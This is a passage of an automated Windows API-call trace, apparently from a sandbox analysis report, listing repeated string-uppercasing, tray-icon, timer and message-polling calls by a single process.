lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.002] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.003] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.003] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.003] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.003] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.003] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.003] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.003] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.003] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.004] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.004] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.004] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.004] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.004] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.004] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.004] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.006] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.007] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.008] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.009] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.009] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.010] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.010] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.011] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.012] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.012] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.013] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.014] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.014] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.015] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.015] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.015] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.016] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.016] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.016] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.016] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.016] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.016] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.016] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.016] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.016] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.016] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.017] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.017] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.017] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.017] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.017] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.017] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.017] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.017] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.017] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.017] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.018] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.018] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.018] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.018] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.018] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.018] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.018] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.018] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.018] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.018] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.019] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.019] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.019] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.019] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.019] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.019] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.019] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.020] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.020] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.020] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.020] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.020] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.020] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.020] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.021] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.021] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.021] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.021] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.021] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.021] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.021] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.021] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.679] Shell_NotifyIconW (dwMessage=0x1, lpData=0xbf60cfe920) returned 1 [0040.680] KillTimer (hWnd=0x7002c, uIDEvent=0x1) returned 1 [0040.680] SetTimer (hWnd=0x7002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0040.680] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.680] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.680] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.680] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.680] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.680] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.680] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.680] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.680] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.680] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.680] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.680] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.680] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.681] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.681] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.681] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.681] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.681] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.681] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.681] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.681] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.681] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.681] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.681] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.681] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.681] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.681] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.681] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.681] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.681] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.681] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.682] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.682] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.682] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.682] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.682] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.682] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.682] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.682] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.682] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.682] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.682] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.682] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.682] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.682] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.682] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.682] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.682] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.682] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.683] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.683] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.683] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.683] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.683] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.683] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.683] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.683] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.683] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.683] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.683] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.683] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.683] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.683] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.683] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.683] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.683] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.683] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.685] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0040.685] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0040.685] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0040.686] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0040.686] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.686] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.686] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.686] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.686] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.686] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.686] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.686] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.686] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.686] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.686] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.686] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.686] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.686] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0040.686] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, 